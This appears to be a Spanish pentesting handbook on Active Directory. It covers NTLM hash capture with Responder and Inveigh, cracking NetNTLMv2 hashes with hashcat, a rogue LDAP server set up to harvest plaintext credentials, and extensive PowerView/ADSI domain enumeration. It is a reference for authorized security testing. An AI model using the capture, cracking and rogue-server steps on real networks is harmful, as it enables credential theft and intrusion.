Para identificar si NTLM está en uso, se puede realizar sin necesidad de tener privilegios de admin leyendo los eventos. En el campo de "Paquete de autenticación" se indicará si fue con Kerberos o NTLM:

```
wevtutil qe Security /q:"*[System[(EventID=4624)]]" /c:5 /f:text
```

### Sniffing con wireshark

Filtrar por:

```
ntlmssp
```

Si no se captura ninguna en el momento de realizarlo, se puede forzar de forma manual con:

```powershell
net use \\DC01\IPC$ /user:OILCORP\usuario password123
```

### Captura de autenticación

#### Herramientas

* [Inveigh](https://github.com/Kevin-Robertson/Inveigh). "Responder" para windows.
* [Responder](https://github.com/lgandx/Responder).

#### Inveigh

```powershell
Import-Module .\Inveigh.ps1
```

```powershell
Invoke-Inveigh -NBNS Y -HTTP Y -SMB Y
Invoke-Inveigh -NBNS Y -HTTP Y -ConsoleOutput Y
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
```

#### Responder

```bash
git clone https://github.com/lgandx/Responder.git
cd Responder
```

```bash
python3 Responder.py -I eth0
```

Salida esperada:

```
[SMB] NTLMv2-SSP Client   : 192.168.56.102
[SMB] Username   : XTORMINCORP\jgarcia
[SMB] Hash       : jgarcia::XTORMINCORP:1122334455667788:8899AABBCCDDEEFF...
```

<h2 align="center">Cracking</h2>

Ejemplo de hashes.txt:

```
jgarcia::XTORMINCORP:1122334455667788:8899AABBCCDDEEFF:0101000000000000...
```

```bash
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt --force
```

Salida esperada:

```
jgarcia::XTORMINCORP:1122334455667788:8899AABBCCDDEEFF...: Password123!
```

## Referencias

* <https://www.thehacker.recipes/ad/movement/ntlm/relay>


# Rogue servers

## Fake LDAP

{% code overflow="wrap" %}

```bash
sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd
```

{% endcode %}

```bash
sudo dpkg-reconfigure -p low slapd
```

Configurar el nombre de dominio que se desee "suplantar".

Crear el fichero que luego se usará para cargar la configuración en el servicio LDAP:

```bash
vim olcSaslSecProps.ldif 
```

Establecer una configuración insegura para la captura de credenciales usando la siguiente config:

```
#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred
```

Cargar la configuración en el servicio y reiniciarlo para que haga efecto:

```bash
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif
sudo systemctl restart slapd
```

Comprobar configuración:

```bash
ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
```

Capturar paquetes con tcpdump:

```
sudo tcpdump -SX -i breachad tcp port 389
```


# Enumeración manual

## Dominio

### **Obtener dominio actual**

<table><thead><tr><th width="147">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell"><code class="lang-powershell">Get-Domain
</code></pre></td></tr><tr><td>AD Module</td><td><pre class="language-powershell"><code class="lang-powershell">Get-ADDomain
</code></pre></td></tr><tr><td>CMD</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
</code></pre></td></tr><tr><td>ADSI</td><td><pre><code>([ADSI]"").distinguishedName
</code></pre><pre class="language-powershell"><code class="lang-powershell">([ADSI]"LDAP://RootDSE").defaultNamingContext
</code></pre></td></tr></tbody></table>

### **Obtener objeto de otro dominio**

<table><thead><tr><th width="147">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell"><code class="lang-powershell">Get-Domain -Domain xtormincorp.local
</code></pre></td></tr><tr><td>AD Module</td><td><pre class="language-powershell"><code class="lang-powershell">Get-ADDomain -Identity xtormincorp.local
</code></pre></td></tr></tbody></table>

### **Obtener SID del dominio actual**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell"><code class="lang-powershell">Get-DomainSID
</code></pre></td></tr><tr><td>AD Module</td><td><pre class="language-powershell"><code class="lang-powershell">(Get-ADDomain).DomainSID
</code></pre></td></tr></tbody></table>

### **Obtener todos los dominios**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell"><code class="lang-powershell">Get-ForestDomain -Verbose
</code></pre></td></tr><tr><td>AD Module</td><td><pre class="language-powershell"><code class="lang-powershell">(Get-ADForest).Domains
</code></pre></td></tr><tr><td>CMD</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
</code></pre></td></tr></tbody></table>

### **Obtener relación de confianza del dominio**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">Get-ForestDomain | %{Get-DomainTrust -Domain $_.Name} | ?{$_.TrustAttributes -eq "FILTER_SIDS"}

Get-ForestDomain -Forest eurocorp.local | %{Get-DomainTrust -Domain $\_.Name}

Get-DomainTrust | ?{$\_.TrustAttributes -eq "FILTER\_SIDS"} </code></pre></td></tr><tr><td>AD Module</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">Get-ADTrust -Filter \*

Get-ADForest | %{Get-ADTrust -Filter \*}

(Get-ADForest).Domains | %{Get-ADTrust -Filter '(intraForest -ne $True) -and (ForestTransitive -ne $True)' -Server $\_}

Get-ADTrust -Filter '(intraForest -ne $True) -and(ForestTransitive -ne $True)'

Get-ADTrust -Filter \* -Server xtormincorp.local </code></pre></td></tr></tbody></table>

## Política del dominio

### **Obtener la política del dominio actual**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell"><code class="lang-powershell">Get-DomainPolicyData
(Get-DomainPolicyData).systemaccess
</code></pre></td></tr></tbody></table>

### **Obtener la política de otro dominio**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell"><code class="lang-powershell">(Get-DomainPolicyData -domain
xtormincorp.local).systemaccess
</code></pre></td></tr></tbody></table>

## Controladores de dominio

### **Obtener controladores de dominio del dominio actual**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell"><code class="lang-powershell">Get-DomainController
</code></pre></td></tr><tr><td>AD Module</td><td><pre class="language-powershell"><code class="lang-powershell">Get-ADDomainController
</code></pre></td></tr><tr><td>CMD</td><td><pre class="language-bash"><code class="lang-bash">$domain="xtormincorp.local"
nslookup $domain
nslookup -type=srv _ldap._tcp.dc._msdcs.$domain
nltest /dclist:$domain
</code></pre></td></tr></tbody></table>

### **Obtener controladores de dominio del otro dominio**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell"><code class="lang-powershell">Get-DomainController -Domain xtormincorp.local
</code></pre></td></tr><tr><td>AD Module</td><td><pre class="language-powershell"><code class="lang-powershell">Get-ADDomainController -DomainName xtormincorp.local -
Discover
</code></pre></td></tr><tr><td>ADSI</td><td><pre class="language-powershell"><code class="lang-powershell">$dom = [ADSI]"LDAP://$(([ADSI]'LDAP://RootDSE').defaultNamingContext)"
$search = New-Object DirectoryServices.DirectorySearcher($dom)

$search.Filter = "(userAccountControl:1.2.840.113556.1.4.803:=8192)"
$search.FindAll() | ForEach-Object { $\_.Properties.samaccountname } </code></pre></td></tr></tbody></table>

## Usuarios

### **Obtener una lista de usuarios del dominio actual**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">Get-DomainUser
Get-DomainUser | select -ExpandProperty samaccountname

# Para guardar toda la salida en un CSV

Get-DomainUser |
Tee-Object -Variable allDomainUsers |
Format-Table -AutoSize \*
$allDomainUsers | Export-Csv -NoTypeInformation -Encoding UTF8 -Path ".\all\_domain\_users.csv" </code></pre></td></tr><tr><td>AD Module</td><td><pre class="language-powershell"><code class="lang-powershell">Get-ADUser -Filter \* -Properties \*
Get-ADUser -Filter \* -Server xtormincorp.local -Properties \* </code></pre></td></tr><tr><td>Net</td><td><pre class="language-powershell"><code class="lang-powershell">net user /domain </code></pre></td></tr><tr><td>ADSI</td><td><pre class="language-powershell"><code class="lang-powershell">$dom = \[ADSI]"LDAP://$((\[ADSI]'LDAP://RootDSE').defaultNamingContext)"
$search = New-Object DirectoryServices.DirectorySearcher($dom)

$search.Filter = "(objectClass=user)"
$search.FindAll() | ForEach-Object { $\_.Properties.samaccountname } </code></pre></td></tr></tbody></table>

### **Obtener información/propiedades de un usuario**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell"><code class="lang-powershell">Get-DomainUser -Identity xtormin
Get-DomainUser | Where-Object { $_.Name -like "*teresa*" }
Get-DomainUser | Where-Object { $_.DisplayName -like "*teresa*" }
Get-DomainUser -Identity xtormin -Properties *
Get-DomainUser -Properties samaccountname,logonCount
</code></pre></td></tr><tr><td>AD Module</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">Get-ADUser -Identity xtormin -Properties *

Get-ADUser -Identity xtormin -Server xtormincorp.local -Properties \*

Get-ADUser -Filter \* -Properties \* | select -First 1 | Get-Member -MemberType \*Property | select Name

Get-ADUser -Filter \* -Properties \* | select name,logoncount,@{expression={\[datetime]::fromFileTime($\_.pwdlastset)}}

Get-ADUser -Filter 'Name -like "\*laura"' -Server za.tryhackme.com | Format-Table Name,SamAccountName -A </code></pre></td></tr><tr><td>Net</td><td><pre class="language-powershell"><code class="lang-powershell">net user xtormin /domain </code></pre></td></tr><tr><td>ADSI</td><td><pre class="language-powershell"><code class="lang-powershell">$usuario = "xtormin"
$dom = \[ADSI]"LDAP://$((\[ADSI]'LDAP://RootDSE').defaultNamingContext)"
$search = New-Object DirectoryServices.DirectorySearcher($dom)

$search.Filter = "(&(objectClass=user)(sAMAccountName=$usuario))"
$search.FindOne().Properties </code></pre></td></tr></tbody></table>

### Obtener grupos a los que pertenece un usuario

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>ADSI</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">$usuario = "xtormincorp/xtormin"([ADSI]"WinNT://$usuario,user").Groups() | ForEach-Object { $_.GetType().InvokeMember("Name", 'GetProperty', $null, $_, $null) }
</code></pre></td></tr></tbody></table>

### Obtener usuarios dentro del grupo de administradores del dominio

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>ADSI</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell"># Obtener contexto del dominio
$root = [ADSI]"LDAP://RootDSE"
$domainDN = $root.defaultNamingContext

# Enlace al grupo Domain Admins

$domainAdmins = \[ADSI]"LDAP://CN=Domain Admins,CN=Users,$domainDN"

# Enumerar miembros

$domainAdmins.psbase.Invoke("Members") | ForEach-Object {
$user = \[ADSI]$\_
if ($user.objectClass -eq "user") {
\[PSCustomObject]@{
Nombre             = $user.name\[0]
SamAccountName     = $user.sAMAccountName\[0]
DistinguishedName  = $user.distinguishedName\[0]
}
}
} </code></pre></td></tr></tbody></table>

### Obtener los usuarios no administradores con permisos de edición de GPOs

```powershell
$Results = @()

# Obtener todos los objetos GPO
$GPOs = Get-ADObject -Filter { ObjectClass -eq 'groupPolicyContainer' } -Properties nTSecurityDescriptor

foreach ($GPO in $GPOs) {
    $acls = $GPO.nTSecurityDescriptor.DiscretionaryAcl

    foreach ($acl in $acls) {
        if ($acl.AccessControlType -eq "Allow") {
            $sid = New-Object System.Security.Principal.SecurityIdentifier($acl.SecurityIdentifier)
            $account = try { $sid.Translate([System.Security.Principal.NTAccount]).Value } catch { $null }

            if ($account -and ($account -notmatch "Administrators")) {
                if ($acl.ActiveDirectoryRights -match "WriteProperty|GenericWrite|WriteDacl|WriteOwner") {
                    $Results += [PSCustomObject]@{
                        GPOName = $GPO.Name
                        Account = $account
                        Rights = $acl.ActiveDirectoryRights
                    }
                }
            }
        }
    }
}

# Incluir la fecha en el nombre del archivo
$Date = Get-Date -Format "yyyyMMdd"
$FileName = ".\GPO_Permissions_Report_$Date.csv"

# Exportar resultados a CSV
$Results | Export-Csv -Path $FileName -NoTypeInformation

Write-Output "Reporte exportado a $FileName"
```

### Obtener usuarios dentro del grupo administradores

{% code overflow="wrap" %}

```powershell
([ADSI]"WinNT://./Administrators,group").Members() | ForEach-Object { $_.GetType().InvokeMember("Name", 'GetProperty', $null, $_, $null) }
```

{% endcode %}

### Obtener los usuarios privilegiados que no se encuentran en el grupo de usuarios protegidos

```powershell
# Obtener miembros de grupos privilegiados
$PrivilegedGroups = @("Domain Admins", "Enterprise Admins", "Schema Admins", "Administrators")
$PrivilegedUsers = foreach ($Group in $PrivilegedGroups) {
    Get-ADGroupMember -Identity $Group -Recursive | Where-Object { $_.objectClass -eq 'user' }
}

# Obtener usuarios del grupo Protected Users
$ProtectedUsers = Get-ADGroupMember -Identity "Protected Users" -Recursive | Where-Object { $_.objectClass -eq 'user' }

# Preparar resultados
$Results = foreach ($User in $PrivilegedUsers) {
    $adUser = Get-ADUser -Identity $User.SamAccountName -Properties adminCount
    $isProtected = $ProtectedUsers.SamAccountName -contains $User.SamAccountName
    $isVulnerable = if (-not $isProtected -or $adUser.adminCount -ne 1) { $true } else { $false }

    [PSCustomObject]@{
        Name = $User.Name
        SamAccountName = $User.SamAccountName
        DistinguishedName = $User.DistinguishedName
        InProtectedUsers = $isProtected
        AdminCount = $adUser.adminCount
        IsVulnerable = $isVulnerable
    }
}

# Incluir la fecha en el nombre del archivo
$Date = Get-Date -Format "yyyyMMdd"
$FileName = ".\Privileged_Users_Status_$Date.csv"

# Exportar resultados a CSV
$Results | Export-Csv -Path $FileName -NoTypeInformation

Write-Output "Reporte exportado a $FileName"
```

* Obtiene los usuarios miembros de grupos privilegiados.
* Compara contra los miembros del grupo `Protected Users`.
* Consulta el atributo `adminCount` de cada usuario.
* Agrega columnas:
  * Si pertenece o no a `Protected Users`.
  * El valor de `adminCount`.
  * Si es considerado vulnerable (por no estar en `Protected Users` o por no tener `adminCount = 1`).
* Incluye la fecha en el nombre del CSV para trazabilidad.

## Grupos

### **Obtener todos los grupos del dominio**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell"><strong>Get-DomainGroup
</strong>Get-DomainGroup | select -ExpandProperty samaccountname

# Para guardar la salida en un CSV

Get-DomainGroup |
Tee-Object -Variable allDomainGroups |
Format-Table -AutoSize \*

$allDomainGroups | Export-Csv -NoTypeInformation -Encoding UTF8 -Path ".\all\_domain\_groups.csv" </code></pre></td></tr><tr><td>Net</td><td><pre class="language-powershell"><code class="lang-powershell">net group /domain </code></pre></td></tr><tr><td>ADSI</td><td><pre class="language-powershell"><code class="lang-powershell">$dom = \[ADSI]"LDAP://$((\[ADSI]'LDAP://RootDSE').defaultNamingContext)"
$search = New-Object DirectoryServices.DirectorySearcher($dom)

$search.Filter = "(objectClass=group)"
$search.FindAll() | ForEach-Object { $\_.Properties.name } </code></pre></td></tr></tbody></table>

### **Obtener propiedades de un grupo**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>AD Module</td><td><pre class="language-powershell"><code class="lang-powershell">Get-ADGroup -Identity Administrators -Server xtormincorp.local
</code></pre></td></tr><tr><td>Net</td><td><pre class="language-powershell"><code class="lang-powershell">net group "Administrators" /domain
</code></pre></td></tr></tbody></table>

### **Obtener miembros de un grupo**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>AD Module</td><td><pre class="language-powershell"><code class="lang-powershell">$dom = [ADSI]"LDAP://$(([ADSI]'LDAP://RootDSE').defaultNamingContext)"
$search = New-Object DirectoryServices.DirectorySearcher($dom)

$grupo = "Administrators"
$search.Filter = "(&(objectClass=group)(cn=$grupo))"
$grupoAD = $search.FindOne()
$grupoAD.Properties.member </code></pre></td></tr></tbody></table>

### **Obtener grupos a los que pertenece un grupo**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>AD Module</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">Get-ADGroupMember -Identity Administrators -Server xtormincorp.local
</code></pre></td></tr></tbody></table>

### **Obtener todos los miembros de todos los grupos de forma recursiva**

{% code overflow="wrap" %}

```powershell
# Obtener todos los grupos del dominio
$allGroups = Get-ADGroup -Filter *

# Crear lista para guardar resultados
$groupMembers = @()

# Iterar sobre cada grupo
foreach ($group in $allGroups) {
    try {
        $members = Get-ADGroupMember -Identity $group.SamAccountName -Recursive -ErrorAction Stop
        foreach ($member in $members) {
            $groupMembers += [PSCustomObject]@{
                GroupName         = $group.Name
                GroupSamAccount   = $group.SamAccountName
                MemberName        = $member.Name
                MemberSamAccount  = $member.SamAccountName
                MemberObjectClass = $member.ObjectClass
                DistinguishedName = $member.DistinguishedName
            }
        }
    } catch {
        Write-Warning "Error al enumerar miembros del grupo $($group.SamAccountName): $_"
    }
}

# Mostrar en formato tabla en consola
$groupMembers | Format-Table -AutoSize

# Exportar a CSV
$groupMembers | Export-Csv -NoTypeInformation -Encoding UTF8 -Path ".\domain_group_members_recursive.csv"
```

{% endcode %}

### Obtener todos los miembros de todos los grupos (lista txt) de forma recursiva

**Input:** Lista de grupos en un fichero txt (ej: group\_list.txt)

```
Server Management
IT Support
```

**Ejecución del script:**

```powershell
# Definir la ruta del archivo de entrada con la lista de grupos
$inputFile = ".\group_list.txt"
$outputFile = ".\groups_members.csv"

# Verificar que el archivo de entrada existe
if (-not (Test-Path $inputFile)) {
    Write-Error "El archivo de entrada $inputFile no existe."
    exit
}

# Leer los nombres de los grupos desde el archivo de texto
$groupNames = Get-Content $inputFile

# Crear un array para almacenar los resultados
$groupMembers = @()

# Configurar el encabezado del CSV con el formato requerido "GroupName;Member"
"GroupName;Member" | Out-File -FilePath $outputFile -Encoding UTF8

# Iterar sobre cada grupo en la lista
foreach ($groupName in $groupNames) {
    # Eliminar espacios en blanco al inicio y final
    $groupName = $groupName.Trim()
    
    # Saltar líneas vacías
    if ([string]::IsNullOrEmpty($groupName)) {
        continue
    }
    
    try {
        Write-Host "Procesando grupo: $groupName"
        
        # Obtener los miembros del grupo recursivamente
        $members = Get-ADGroupMember -Identity $groupName -Recursive -ErrorAction Stop
        
        if ($members.Count -eq 0) {
            # Si el grupo no tiene miembros, añadir una entrada indicándolo
            "$groupName;Sin miembros" | Out-File -FilePath $outputFile -Encoding UTF8 -Append
        } else {
            # Procesar cada miembro del grupo
            foreach ($member in $members) {
                # Escribir directamente al archivo CSV con el formato "GroupName;Member"
                "$groupName;$($member.Name)" | Out-File -FilePath $outputFile -Encoding UTF8 -Append
            }
        }
    } catch {
        $errorMessage = $_.Exception.Message
        Write-Warning "Error al enumerar miembros del grupo $groupName`: $errorMessage"
        # Registrar los grupos con error en el CSV
        "$groupName;Error: $errorMessage" | Out-File -FilePath $outputFile -Encoding UTF8 -Append
    }
}

Write-Host "Proceso completado. Resultados guardados en $outputFile"
```

**Output:** Fichero CSV con la lista de grupos y miembros.

<div data-full-width="false"><figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FILEjPIcGZPD42SQN4Zvs%2Fimage.png?alt=media&amp;token=20bec1d3-cfd3-416c-9c6b-89fd9fe5a5ef" alt="" width="563"><figcaption></figcaption></figure></div>

### **Obtener los miembros recursivos del grupo "Domain Admins"**

{% code overflow="wrap" %}

```powershell
$domainAdmins = Get-DomainGroupMember -Identity "Domain Admins" -Recurse

# Mostrar los resultados en formato tabla
$domainAdmins | Select-Object Name, SamAccountName, ObjectClass, DistinguishedName | Format-Table -AutoSize

# Exportar todos los atributos disponibles a un fichero CSV
$domainAdmins | Select-Object * | Export-Csv -Path ".\domain_admins_members.csv" -NoTypeInformation -Encoding UTF8
```

{% endcode %}

### **Obtener todos los grupos con "admin" y sus miembros (si los hay)**

{% code overflow="wrap" %}

```powershell
# Enumerar grupos con "admin" en el nombre
$adminGroups = Get-DomainGroup -LDAPFilter "(name=*admin*)"

# Crear una lista para todos los resultados
$allAdminGroupMembers = @()

foreach ($group in $adminGroups) {
    try {
        # Intentar obtener los miembros del grupo
        $members = Get-DomainGroupMember -Identity $group.DistinguishedName -Recurse -ErrorAction Stop

        if ($members.Count -eq 0) {
            # Grupo sin miembros
            $entry = [PSCustomObject]@{
                GroupName         = $group.Name
                Name              = ''
                SamAccountName    = ''
                ObjectClass       = ''
                DistinguishedName = ''
            }
            $allAdminGroupMembers += $entry
        } else {
            # Agregar cada miembro al array
            foreach ($member in $members) {
                $member | Add-Member -NotePropertyName GroupName -NotePropertyValue $group.Name -Force
                $allAdminGroupMembers += $member
            }
        }
    } catch {
        # Si el grupo no permite consultar miembros, registrar igual el grupo vacío
        Write-Warning "❌ Error en grupo '$($group.Name)': $_"
        $entry = [PSCustomObject]@{
            GroupName         = $group.Name
            Name              = 'ERROR'
            SamAccountName    = ''
            ObjectClass       = ''
            DistinguishedName = ''
        }
        $allAdminGroupMembers += $entry
    }
}

# Mostrar en tabla los resultados clave
$allAdminGroupMembers |
    Select-Object GroupName, Name, SamAccountName, ObjectClass, DistinguishedName |
    Format-Table -AutoSize

# Exportar todo a CSV
$allAdminGroupMembers |
    Select-Object * |
    Export-Csv -Path ".\admin_groups_members_full.csv" -NoTypeInformation -Encoding UTF8
```

{% endcode %}

## Equipos / Servidores

### **Obtener equipos/servidores**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">Get-DomainComputer
Get-DomainComputer | select -ExpandProperty dnshostname

# Para guardar toda la salida en un CSV

$computers = Get-DomainComputer -Properties \*
$computers | Select-Object Name, OperatingSystem, Enabled, LastLogonDate, DistinguishedName | Format-Table -AutoSize
$computers | Select-Object \* | Export-Csv -NoTypeInformation -Encoding UTF8 -Path "C:\Pentest\Enum\domain\_computers.csv" </code></pre></td></tr><tr><td>ADSI</td><td><pre class="language-powershell"><code class="lang-powershell">$dom = \[ADSI]"LDAP://$((\[ADSI]'LDAP://RootDSE').defaultNamingContext)"
$search = New-Object DirectoryServices.DirectorySearcher($dom)
$search.Filter = "(objectClass=computer)"
$search.FindAll() | ForEach-Object { $\_.Properties.name } </code></pre></td></tr></tbody></table>

## Unidades organizativas

### **Obtener unidades organizativas**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">Get-DomainOU
Get-DomainOU | select -ExpandProperty name
Get-NetOU -FullData

# Para guardar toda la salida en un CSV

$ous = Get-DomainOU -Properties \*
$ous | Select-Object Name, DistinguishedName, GPOApplied, GUID | Format-Table -AutoSize
$ous | Select-Object \* | Export-Csv -NoTypeInformation -Encoding UTF8 -Path ".\domain\_ous.csv"

# Otra opción con Get-NetOU

$netOUs = Get-NetOU
$netOUs | Select-Object Name, distinguishedname, gplink, objectguid | Format-Table -AutoSize
$netOUs | Select-Object \* | Export-Csv -Path ".\net\_ous.csv" -NoTypeInformation -Encoding UTF8 </code></pre></td></tr></tbody></table>

### **Obtener todos los equipos asociados a una unidad organizativa**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">$OUName="&#x3C;Nombre de la OU>"
(Get-DomainOU -Identity $OUName).distinguishedname | %{Get-DomainComputer -SearchBase $_} | select name
</code></pre></td></tr></tbody></table>

### **Obtener GPLink asociada a una unidad organizativa**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell"><code class="lang-powershell">$OUName="&#x3C;Nombre de la OU>"
(Get-DomainOU -Identity $OUName).gplink
$CN="{7378F170-3A0C-490C-B355-1E4618BC785D}"
Get-DomainGPO -Identity $CN
</code></pre><p>El siguiente comando une los dos anteriores en uno:</p><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">$OUName="&#x3C;Nombre de la OU>"
Get-DomainGPO -Identity (Get-DomainOU -Identity $OUName).gplink.substring(11,(Get-DomainOU -Identity $OUName).gplink.length-72
</code></pre></td></tr></tbody></table>

## Política de contraseñas

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>Net</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell"><strong>net accounts /domain
</strong></code></pre></td></tr></tbody></table>

## ACL (Listas de control de acceso)

### **Obtener las ACLs**

GUI con Out-GridView:

```powershell
Invoke-ACLScanner -ResolveGUIDs | Out-GridView
```

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FF1EWBipIHUAkECGltucQ%2FPasted%20image%2020250329112603.png?alt=media&amp;token=5d86cb80-4e4f-4512-9e81-fc2e55a945f3" alt=""><figcaption></figcaption></figure>

PowerShell:

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs -Verbose
Get-ObjectAcl -SamAccountName &#x3C;AccountName> -ResolveGUIDs
Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose
</code></pre></td></tr></tbody></table>

### **Obtener los ACLs de un objeto, por ejemplo, "Administrator"**

{% code overflow="wrap" %}

```powershell
# Obtener los ACLs del objeto 'Administrator'
$acls = Get-DomainObjectAcl -SamAccountName Administrator -ResolveGUIDs

# Resolver el SID de cada ACL manualmente si no está ya resuelto
foreach ($acl in $acls) {
    if (-not $acl.IdentityReference) {
        try {
            $sidObj = New-Object System.Security.Principal.SecurityIdentifier($acl.SecurityIdentifier)
            $acl | Add-Member -NotePropertyName "IdentityReference" -NotePropertyValue $sidObj.Translate([System.Security.Principal.NTAccount]) -Force
        } catch {
            $acl | Add-Member -NotePropertyName "IdentityReference" -NotePropertyValue $acl.SecurityIdentifier -Force
        }
    }
}

# Mostrar campos clave
$acls | Select-Object IdentityReference, ActiveDirectoryRights, ObjectAceType, InheritanceFlags, AceType, IsInherited |
    Format-Table -AutoSize

# Exportar todos los campos a CSV
$acls | Select-Object * | Export-Csv -Path ".\administrator_objectacls_full.csv" -NoTypeInformation -Encoding UTF8

Write-Host "`nExportación completada: administrator_objectacls_full.csv" -ForegroundColor Green

```

{% endcode %}

### **Obtener las ACLs de SYSVOL**

```powershell
# Ruta SYSVOL adaptada a tu dominio actual
$sysvolPath = "\\dc.xtormincorp.local\SYSVOL"

# Obtener ACL del recurso compartido
$acl = Get-PathAcl -Path $sysvolPath

# Mostrar campos clave en tabla
$acl | Select-Object IdentityReference, FileSystemRights, AccessControlType, IsInherited, InheritanceFlags, PropagationFlags |
    Format-Table -AutoSize

# Exportar todos los datos a CSV
$acl | Select-Object * | Export-Csv -Path ".\sysvol_acl_full.csv" -NoTypeInformation -Encoding UTF8

Write-Host "`nExportación completada: sysvol_acl_full.csv" -ForegroundColor Green
```

Lo mismo, pero recursivo:

{% code overflow="wrap" %}

```powershell
# Ruta SYSVOL adaptada a tu dominio
$rootPath = "\\dc.xtormincorp.local\SYSVOL"

# Array para almacenar todos los ACLs
$allACLs = @()

# Obtener recursivamente todos los archivos y carpetas
$items = Get-ChildItem -Path $rootPath -Recurse -Force -ErrorAction SilentlyContinue

# Añadir también la raíz
$items += Get-Item -Path $rootPath

foreach ($item in $items) {
    try {
        $acl = Get-PathAcl -Path $item.FullName
        foreach ($entry in $acl) {
            $entry | Add-Member -NotePropertyName Path -NotePropertyValue $item.FullName -Force
            $allACLs += $entry
        }
    } catch {
        Write-Warning "❌ Error al obtener ACL de: $($item.FullName)"
    }
}

# Mostrar en tabla campos clave
$allACLs |
    Select-Object Path, IdentityReference, FileSystemRights, AccessControlType, IsInherited |
    Format-Table -AutoSize

# Exportar todos los campos a CSV
$allACLs | Select-Object * | Export-Csv -Path ".\sysvol_recursive_acls.csv" -NoTypeInformation -Encoding UTF8

Write-Host "`nExportación completada: sysvol_recursive_acls.csv" -ForegroundColor Green
```

{% endcode %}

### **Obtener ACLs que podrían ser interesantes**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
Invoke-ACLScanner -ResolveGUIDs
Get-PathAcl -Path "\\files.xtormincorp.local\share"
</code></pre></td></tr></tbody></table>

## GPO

Se enumera información sobre las políticas de grupo e información de la configuración del usuario. Como los grupos de seguridad a los que pertenece, versión del sistema operativo, nombre de dominio, etc.

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell"><code class="lang-powershell">Get-NetGPO
Get-NetGPO -ComputerName &#x3C;equipo>
Get-NetGPOGroup
Find-GPOComputerAdmin -ComputerName &#x3C;equipo>
